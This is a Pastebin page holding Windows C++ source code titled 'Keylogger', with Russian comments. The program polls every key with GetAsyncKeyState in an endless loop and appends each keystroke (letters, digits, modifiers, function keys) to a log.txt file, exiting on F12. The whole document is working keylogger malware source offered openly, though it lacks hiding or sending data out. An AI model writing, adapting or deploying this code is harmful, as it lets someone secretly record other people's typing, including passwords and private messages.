Advertisement
roctbb

Keylogger

Feb 28th, 2015
325
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 4.40 KB | None | 0 0
  1. // Keylogger.cpp: определяет точку входа для приложения.
  2. //
  3.  
  4. #include "stdafx.h"
  5. #include "Keylogger.h"
  6. #include <string>
  7. #include <iostream>
  8. #include <fstream>
  9. #define MAX_LOADSTRING 100
  10. using namespace std;
  11.  
  12.  
  13. int WINAPI WinMain(HINSTANCE hInst, HINSTANCE P, LPSTR CMD, int nShowCmd) {
  14.  
  15.  
  16.     // Цикл основного сообщения:
  17.     ofstream file("log.txt", ios::app);
  18.     int a=0;
  19.     int shift = 0;
  20.     while (1) {
  21.         for (int q = 8; q <= 190; q++)
  22.         {
  23.             if (GetAsyncKeyState(q) == -32767) {
  24.                 if (q == 9) {
  25.  
  26.                     file << "[Tab]";
  27.                 }
  28.                 else if (q == 92) {
  29.                     file << "[RWin]";
  30.                 }
  31.                 else if (q == 188) {
  32.                     file << ",";
  33.                 }
  34.                 else if (q == 186) {
  35.                     file << ";";
  36.                 }
  37.                 else if (q == 190) {
  38.                     file << ".";
  39.                 }
  40.                 else if (q == 13) {
  41.                     file << "[Enter]";
  42.                 }
  43.                 else if (q == 91) {
  44.                     file << "[Win]";
  45.                 }
  46.                 else if (q == 165) {
  47.                     file << "[RAlt]";
  48.                 }
  49.                 else if (q == 161) {
  50.                     file << "[RShift]";
  51.                 }
  52.                 else if (q == 163) {
  53.                     file << "[RShift]";
  54.                 }
  55.                 else if (q == 160) {
  56.                     shift++;
  57.                     if (shift == 2) { file << "[Shift]"; shift = 0; }
  58.                 }
  59.                 else if (q == 16) {
  60.                     shift++;
  61.                     if (shift == 2) { file << "[Shift]"; shift = 0; }
  62.                 }
  63.                 else if (q == 164) {
  64.                     shift++;
  65.                     if (shift == 2) { file << "[Alt]"; shift = 0; }
  66.                 }
  67.                 else if (q == 162) {
  68.                     shift++;
  69.                     if (shift == 2) { file << "[Ctrl]"; shift = 0; }
  70.                 }
  71.                 else if (q == 17) {
  72.                     shift++;
  73.                     if (shift == 2) { file << "[Ctrl]"; shift = 0; }
  74.                 }
  75.                 else if (q == 18) {
  76.                     shift++;
  77.                     if (shift == 2) { file << "[Alt]"; shift = 0; }
  78.                 }
  79.                 else if (q == 44) {
  80.                     file << "[Print Screen]";
  81.                 }
  82.                 else if (q == 27) {
  83.  
  84.                     file << "[Esc]";
  85.                 }
  86.                 else if (q == 112) {
  87.                     file << "[F1]";
  88.                 }
  89.                 else if (q == 113) {
  90.                     file << "[F2]";
  91.                 }
  92.                 else if (q == 114) {
  93.                     file << "[F3]";
  94.                 }
  95.                 else if (q == 115) {
  96.                     file << "[F4]";
  97.                 }
  98.                 else if (q == 116) {
  99.                     file << "[F5]";
  100.                 }
  101.                 else if (q == 117) {
  102.  
  103.                     file << "[F6]";
  104.                 }
  105.                 else if (q == 118) {
  106.                     file << "[F7]";
  107.                 }
  108.                 else if (q == 119) {
  109.                     file << "[F8]";
  110.                 }
  111.                 else if (q == 120) {
  112.                     file << "[F9]";
  113.                 }
  114.                 else if (q == 121) {
  115.  
  116.                     file << "[F10]";
  117.                 }
  118.                 else if (q == 122) {
  119.                     file << "[F11]";
  120.                 }
  121.                 else if (q == 123) {
  122.                     //file << "[F12]";
  123.                     file.close();
  124.                     return 0;
  125.                     //break;
  126.                 }
  127.                 else if (q == 19) {
  128.                     file << "[Pause Break]";
  129.                 }
  130.                 else if (q == 145) {
  131.                     file << "[Scroll Lock]";
  132.                 }
  133.                 else if (q == 36) {
  134.  
  135.                     file << "[Home]";
  136.                 }
  137.                 else if (q == 33) {
  138.  
  139.                     file << "[Page Up]";
  140.                 }
  141.                 else if (q == 8) {
  142.  
  143.                     file << "[Backspace]";
  144.                 }
  145.                 else if (q == 46) {
  146.  
  147.                     file << "[Delete]";
  148.                 }
  149.                 else if (q == 34) {
  150.  
  151.                     file << "[Page Down]";
  152.                 }
  153.                 else if (q == 35) {
  154.  
  155.                     file << "[End]";
  156.                 }
  157.                 else if (q == 144) {
  158.  
  159.                     file << "[Num Lock]";
  160.                 }
  161.                 else if (q == 20) {
  162.  
  163.                     file << "[Caps Lock]";
  164.                 }
  165.                 else if (q == 93) {
  166.  
  167.                     file << "[ онтекстное меню]";
  168.                 }
  169.                 else if (q == 189) {
  170.  
  171.                     file << "-";
  172.                 }
  173.                 else if (q == 187) {
  174.  
  175.                     file << "=";
  176.                 }
  177.                 else if (q == 32) {
  178.  
  179.                     file << "[Space]";
  180.                 }
  181.                 else if (q == 45) {
  182.  
  183.                     file << "[Insert]";
  184.                 }
  185.                 else if (q == 37) {
  186.  
  187.                     file << "[Left]";
  188.                 }
  189.                 else if (q == 38) {
  190.  
  191.                     file << "[Up]";
  192.                 }
  193.                 else if (q == 39) {
  194.  
  195.                     file << "[Right]";
  196.                 }
  197.                 else if (q == 40) {
  198.  
  199.                     file << "[Down]";
  200.                 }
  201.                 else if (q == 110) {
  202.  
  203.                     file << "[Del(.)]";
  204.                 }
  205.                 else if (q == 107) {
  206.  
  207.                     file << "[+]";
  208.                 }
  209.                 else if (q == 109) {
  210.  
  211.                     file << "[-(minus)]";
  212.                 }
  213.                 else if (q == 111) {
  214.  
  215.                     file << "[/(деление)]";
  216.                 }
  217.                 else if (q == 106) {
  218.  
  219.                     file << "[*]";
  220.                 }
  221.                 else if ((q >= 'A') && (q <= 'Z')) {
  222.  
  223.                     cout << q << endl;
  224.                     file << (char) q;
  225.                 }
  226.                 else if ((q >= 96) && (q <= 105)) {
  227.  
  228.                     cout << q << endl;
  229.                     file << (int) q - 96;
  230.                 }
  231.                 else if ((q >= 48) && (q <= 57)) {
  232.  
  233.                     cout << q << endl;
  234.                     file << (int) q - 48;
  235.                 }
  236.                 else {
  237.                     cout << q << endl;
  238.                 }
  239.             }
  240.             else {
  241.                 a++;
  242.             }
  243.             if (a == 15)
  244.             {
  245.                 Sleep(1);
  246.                 a = 0;
  247.  
  248.             }
  249.         }
  250.     }
  251.     file.close();
  252.     return 0;
  253. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement